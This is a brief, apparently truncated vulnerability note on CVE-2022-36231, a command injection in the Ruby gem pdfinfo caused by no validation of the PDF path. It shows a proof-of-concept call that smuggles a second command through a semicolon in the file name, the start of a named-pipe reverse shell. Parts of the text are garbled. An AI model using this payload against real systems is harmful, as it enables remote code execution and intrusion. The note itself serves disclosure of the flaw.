CVE-2022-36231

CVE-2022-36231 The ruby gem pdfinfo /dev/null As with the initialize method there is no validation performed on the @pdfpath variable. This allows us to make use of command chaining with ; to execute an arbitrary command. info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat...